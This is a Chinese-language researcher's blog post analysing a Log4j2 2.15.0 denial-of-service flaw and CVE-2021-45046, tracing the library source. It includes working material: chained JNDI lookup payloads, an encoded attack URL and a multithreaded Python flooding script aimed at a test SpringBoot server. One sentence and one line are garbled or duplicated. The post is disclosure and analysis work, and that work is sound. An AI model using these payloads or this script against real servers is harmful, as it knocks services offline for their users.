介紹
在Log4j2爆出RCE漏洞后,官方給出了RC1和RC2的修復,在之前的文章中有詳細分析
在RC2的修復之前,其實就存在DOS的可能,但我在RC2的修復后,發現仍然可以造成拒絕服務漏洞
于是在RC2修復補丁發布后幾小時內向Apache Logging PMC報告了該問題

得到了官方的認可和致謝

其實當時沒有想過申請CVE等步驟,但在今天早上看到了Log4j2發布了CVE-2021-45046漏洞報告,這個CVE正是拒絕服務相關,不過漏洞credit資訊并不是我,而是國外某團隊

【私信回復“log4j”獲取相關教程與資料】原理分析/排查/修復
具體鏈接參考:
https://logging.apache.org/log4j/2.x/security.html
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046
大致閱讀CVE-2021-45046相關的資訊后,發現和我提交的DOS漏洞略有不同,但核心部分是一致的
在2.15.0版本利用的前提:該漏洞必須在開啟lookup功能的情況下觸發
一種常見的開啟姿勢是在log4j2.xml中:
<appenders>
<console name="CONSOLE-APPENDER" target="SYSTEM_OUT">
<PatternLayout pattern="%msg{lookups}%n"/>
</console>
</appenders>
這篇文章就從三個方面來談一談這個拒絕服務漏洞
- 我是如何發現這個拒絕服務漏洞的
- 這個CVE描述的漏洞與我發現的有什么相同和不同之處
- 這種拒絕服務漏洞的實際利用場景
挖掘程序
回顧RC1和RC2的修復:如果存在JndiLookup那么會判斷其中的的host是否合法
if (!allowedHosts.contains(uri.getHost())) {
LOGGER.warn("Attempt to access ldap server not in allowed list");
return null;
}
而allowedHosts中一定包含有localhost和127.0.0.1
// 拿到本地IP
private static final List<String> permanentAllowedHosts = NetUtils.getLocalIps();
...
addAll(hosts, allowedHosts, permanentAllowedHosts, ALLOWED_HOSTS, data);
return new JndiManager(...,allowedHosts,...);
這說明如果LDAP服務端在127.0.0.1可以成功lookup
然而黑客不可能憑空在服務端本地開啟一個惡意的LDAP Server
我想到lookup本質是網路相關的操作,會有阻塞的可能,可以構造出Payload使程式lookup本地,而本地不可能開LDAP Server,于是發生超時等待,也許會有拒絕服務漏洞的可能
于是修改了RC2的原始碼,加入了統計時間代碼,分析lookup的超時情況
(下文分析為什么阻塞的方法不是looup而是context.getAttributes)
if (!allowedHosts.contains(uri.getHost())) {
LOGGER.warn("Attempt to access ldap server not in allowed list");
return null;
}
long startTime = System.currentTimeMillis();
Attributes attributes = null;
try {
// 阻塞方法
attributes = this.context.getAttributes(name);
}catch (Exception ignored){
}
long endTime = System.currentTimeMillis();
System.out.println(endTime-startTime);
測驗以上列印時間的代碼會發現總是列印2000左右,說明超時時間為2秒
深入getAttributes可以看到這樣的方法
static ResolveResult getUsingURLIgnoreRootDN(String var0, Hashtable<?, ?> var1) throws NamingException {
LdapURL var2 = new LdapURL(var0);
// 跟入
LdapCtx var3 = new LdapCtx("", var2.getHost(), var2.getPort(), var1, var2.useSsl());
String var4 = var2.getDN() != null ? var2.getDN() : "";
CompositeName var5 = new CompositeName();
if (!"".equals(var4)) {
var5.add(var4);
}
return new ResolveResult(var3, var5);
}
在new LdapCtx方法中存在connect操作導致阻塞
(其實connect方法還有幾步才會到達最底層的阻塞,不過沒有必要繼續分析了)
public LdapCtx(String var1, String var2, int var3, Hashtable<?, ?> var4, boolean var5) throws NamingException {
...
try {
this.connect(false);
}
...
}
回到之前的問題:為什么阻塞的不是lookup而是getAttributes方法
當前代碼在連接超時后會拋出例外,走不到lookup方法

其實在lookup方法中應該也會造成阻塞,簡單往里面跟一下會發現類似的代碼
// 從Attributes里獲取屬性
// 那么應該呼叫了getAttributes之類的阻塞方法
if (((Attributes)var4).get(Obj.JAVA_ATTRIBUTES[2]) != null) {
var3 = Obj.decodeObject((Attributes)var4);
}
if (var3 == null) {
// 類似的代碼
var3 = new LdapCtx(this, this.fullyQualifiedName(var1));
}
現在發現了能讓程式阻塞的辦法,那么怎樣構造Payload以達成更長時間的阻塞呢
Log4j2在處理 是 遞 歸 解 析 , 也 就 是 說 會 處 理 一 個 字 符 串 中 的 所 有 {}是遞回決議,也就是說會處理一個字串中的所有 是遞歸解析,也就是說會處理一個字符串中的所有{}并分別處理對應的值,每一次的處理都會造成2秒的等待,所以只需簡單的拼接即可
private int substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length,
List<String> priorVariables) {
...
substitute(event, bufName, 0, bufName.length());
...
String varValue = resolveVariable(event, varName, buf, startPos, endPos);
...
int change = substitute(event, buf, startPos, varLen, priorVariables);
}
例如我拼接三個會阻塞更長的時間
(這里是針對本地80埠,實際上可以用大概率關閉的高位埠)
${jndi:ldap://127.0.0.1}${jndi:ldap://127.0.0.1}${jndi:ldap://127.0.0.1}
這時候會有師傅產生疑問:
在一個web請求中,這樣的payload只能讓我當前的請求阻塞住,如何實作真正的拒絕服務攻擊,讓目標網站無法正常處理別人的請求呢?我將在后文給大家展示
利用場景
造一個SpringBoot專案,在resources下添加組態檔開啟lookup功能
<configuration status="OFF" monitorInterval="30">
<appenders>
<console name="CONSOLE-APPENDER" target="SYSTEM_OUT">
<PatternLayout pattern="%msg{lookups}%n"/>
</console>
</appenders>
<loggers>
<root level="error">
<appender-ref ref="CONSOLE-APPENDER"/>
</root>
</loggers>
</configuration>
為了制造場景所以要移除了Spri
為了制造場景所以要移除了SpringBoot自帶的日志依賴,而選用Log4j2
另外引入starter-web以撰寫Controller模擬真實的介面供測驗
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter</artifactId>
<exclusions>
<exclusion>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-logging</artifactId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.15.0</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.15.0</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
模擬一個介面:接受message引數并Base64解碼后列印日志
@Controller
public class TestController {
private static final Logger logger = LogManager.getLogger(TestController.class);
@RequestMapping("/test")
@ResponseBody
public String test(String message) {
try {
// Base64解碼
String data = new String(Base64.getDecoder().decode(message));
logger.error("message:" + data);
} catch (Exception e) {
return e.getMessage();
}
return "";
}
}
使用Python撰寫EXP打自己的靶機
import base64
import threading
import requests
# 每一個Payload將會導致阻塞20秒
payload = "${jndi:ldap://127.0.0.1}" * 10
payload = base64.b64encode(bytes(payload, encoding="utf-8"))
url = "http://127.0.0.1:8080/test?message=" + str(payload, encoding="utf-8")
def work():
requests.get(url)
if __name__ == '__main__':
threadList = []
# 多執行緒請求
for i in range(1000):
t = threading.Thread(target=work)
threadList.append(t)
t.start()
for thread in threadList:
thread.join()
啟動SpringBoot專案后,可以用這個Python腳本成功造成拒絕服務漏洞
CVE分析
接下來分析這個CVE,其實我不確定對于這個CVE的解讀是否正確
在Log4j2.xml中支持一種配置從背景關系中取值:例如這個例子可以取到loginId值
<Appenders>
<Console name="STDOUT" target="SYSTEM_OUT">
<PatternLayout>
<pattern>%d %p %c{1.} [%t] $${ctx:loginId} %m%n</pattern>
</PatternLayout>
</Console>
</Appenders>
如果程式這樣寫
public static void main(String[] args) throws Exception{
ThreadContext.put("loginId","1}");
logger.error("xxx");
}
將會列印
2021-12-15 12:03:53,860 ERROR Main [main] 1 xxx
如果代碼這樣寫將會導致類似的拒絕服務
ThreadContext.put("loginId","${jndi:ldap://127.0.0.1}");
logger.error("xxx");
在xml中有另一種效果相同的配置方式,但這種寫法反而不會觸發${}決議
<Appenders>
<Console name="STDOUT" target="SYSTEM_OUT">
<PatternLayout>
<pattern>%d %p %c{1.} [%t] %X{loginId} %m%n</pattern>
</PatternLayout>
</Console>
</Appenders>
在issue中也有人證實了這一點

關于拒絕服務的分析上文已有,重點看一下ContextMapLookup
@Override
public String lookup(final String key) {
return currentContextData().getValue(key);
}
@Override
public String lookup(final LogEvent event, final String key) {
return event.getContextData().getValue(key);
}
這里的contextData正是一個簡單的Map

在resolveVariable方法回傳
protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf,
final int startPos, final int endPos) {
final StrLookup resolver = getVariableResolver();
if (resolver == null) {
return null;
}
// 取出了${jndi:ldap://127.0.0.1}
return resolver.lookup(event, variableName);
}
取出的payload在下一次的遞回中成功被lookup

不難發現lookup時是從event中取Map那么該Map是如何保存到event中的呢
定位到創建LogEvent的方法ReusableLogEventFactory.createEvent
@Override
public LogEvent createEvent(final String loggerName, final Marker marker, final String fqcn,
final StackTraceElement location, final Level level, final Message message,
final List<Property> properties, final Throwable t) {
if (result == null || result.reserved) {
final boolean initThreadLocal = result == null;
// 這個類中包含了空的context
result = new MutableLogEvent();
...
}
...
// 真正設定context屬性
result.setContextData(injector.injectContextData(properties, (StringMap) result.getContextData()));
result.setContextStack(ThreadContext.getDepth() == 0 ? ThreadContext.EMPTY_STACK : ThreadContext.cloneStack());
...
return result;
}
跟入ThreadContextDataInjector.injectContextData方法
@Override
public StringMap injectContextData(final List<Property> props, final StringMap ignore) {
if (providers.size() == 1 && (props == null || props.isEmpty())) {
// 跟入supplyStringMap
return providers.get(0).supplyStringMap();
}
...
}
進入ThreadContextDataProvider.supplyStringMap方法
@Override
public StringMap supplyStringMap() {
return ThreadContext.getThreadContextMap().getReadOnlyContextData();
}
在getReadOnlyContextData中獲得這個Map

再沒有必要做進一步的分析了,這個拒絕服務漏洞原理已經清晰了
CVE利用場景
CVE中提到的利用場景應該更為廣泛
通常情況下,記錄登錄用戶的身份等資訊是常見的操作
如果程式員選擇了Log4j2這種ctx記錄的方式而不是手動拼接字串,將會導致該漏洞
@RequestMapping("/test")
@ResponseBody
public String test(String userId) {
try {
String id = new String(Base64.getDecoder().decode(userId));
// 記錄用戶登錄ID
ThreadContext.put("loginId", id);
// 記錄該用戶已登錄
logger.info("user login");
// 其他業務邏輯
// ...
} catch (Exception e) {
return e.getMessage();
}
return "";
}
正常情況下:http://localhost:8080/test?userId=MQ==
將會記錄
2021-12-15 12:51:27,845 [http-nio-8080-exec-1] 1 user login
如果打Payload則報錯并成功阻塞
http://localhost:8080/test?userId=JHtqbmRpOmxkYXA6Ly8xMjcuMC4wLjF9
改寫下Python腳本即可成功拒絕服務
url = "http://127.0.0.1:8080/test?userId=" + str(payload, encoding="utf-8")
代碼
SpringBoot搭建的利用環境代碼:https://github.com/EmYiQing/Log4j2DoS
更新
Apache已經將我的名字加入了CVE的credit中


轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/382807.html
標籤:其他
下一篇:[ 新出漏洞篇 ] 核彈級漏洞 Log4j2 RCE 漏洞爆出,開發圈苦逼,安全圈過年,你趕上了嗎 ?(外行都能看懂的漏洞分析)
